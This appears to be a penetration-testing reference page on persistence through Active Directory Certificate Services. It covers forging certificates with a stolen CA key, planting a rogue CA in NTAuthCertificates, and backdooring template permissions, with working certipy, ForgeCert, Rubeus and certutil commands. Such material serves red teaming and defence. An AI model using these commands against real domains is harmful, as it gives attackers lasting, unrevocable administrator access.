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AD CS Domain Persistence

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Forging Certificates with Stolen CA Certificates - DPERSIST1

How can you tell that a certificate is a CA certificate?
  • The CA certificate exists on the CA server itself, with its private key protected by machine DPAPI (unless the OS uses a TPM/HSM/other hardware for protection).
  • The Issuer and Subject for the cert are both set to the distinguished name of the CA.
  • CA certificates (and only CA certs) have a “CA Version” extension.
  • There are no EKUs
The built-in GUI supported way to extract this certificate private key is with certsrv.msc on the CA server. However, this certificate isn't different from other certificates stored in the system, so for example check the THEFT2 technique to see how to extract them.
You can also get the cert and private key using certipy:
certipy ca 'corp.local/[email protected]' -hashes :123123.. -backup
Once you have the CA cert with the private key in .pfx format you can use ForgeCert to create valid certificates:
# Create new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName [email protected] --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Create new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Use new certificate with Rubeus to authenticate
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# User new certi with certipy to authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Note: The target user specified when forging the certificate needs to be active/enabled in AD and able to authenticate since an authentication exchange will still occur as this user. Trying to forge a certificate for the krbtgt account, for example, will not work.
This forged certificate will be valid until the end date specified and as long as the root CA certificate is valid (usually from 5 to 10+ years). It's also valid for machines, so combined with S4U2Self, an attacker can maintain persistence on any domain machine for as long as the CA certificate is valid. Moreover, the certificates generated with this method cannot be revoked as CA is not aware of them.

Trusting Rogue CA Certificates - DPERSIST2

The object NTAuthCertificates defines one or more CA certificates in its cacertificate attribute and AD uses it: During authentication, the domain controller checks if NTAuthCertificates object contains an entry for the CA specified in the authenticating certificate’s Issuer field. If it is, authentication proceeds.
An attacker could generate a self-signed CA certificate and add it to the NTAuthCertificates object. Attackers can do this if they have control over the NTAuthCertificates AD object (in default configurations only Enterprise Admin group members and members of the Domain Admins or Administrators in the forest root’s domain have these permissions). With the elevated access, one can edit the NTAuthCertificates object from any system with certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126 , or using the PKI Health Tool.
The specified certificate should work with the previously detailed forgery method with ForgeCert to generate certificates on demand.

Malicious Misconfiguration - DPERSIST3

There is a myriad of opportunities for persistence via security descriptor modifications of AD CS components. Any scenario described in the “Domain Escalation” section could be maliciously implemented by an attacker with elevated access, as well as addition of “control rights'' (i.e., WriteOwner/WriteDACL/etc.) to sensitive components. This includes:
  • CA server’s AD computer object
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
  • AD groups delegated rights to control AD CS by default or by the current organization (e.g., the built-in Cert Publishers group and any of its members)
For example, an attacker with elevated permissions in the domain could add the WriteOwner permission to the default User certificate template, where the attacker is the principal for the right. To abuse this at a later point, the attacker would first modify the ownership of the User template to themselves, and then would set mspki-certificate-name-flag to 1 on the template to enable ENROLLEE_SUPPLIES_SUBJECT (i.e., allowing a user to supply a Subject Alternative Name in the request). The attacker could then enroll in the template, specifying a domain administrator name as an alternative name, and use the resulting certificate for authentication as the DA.

References

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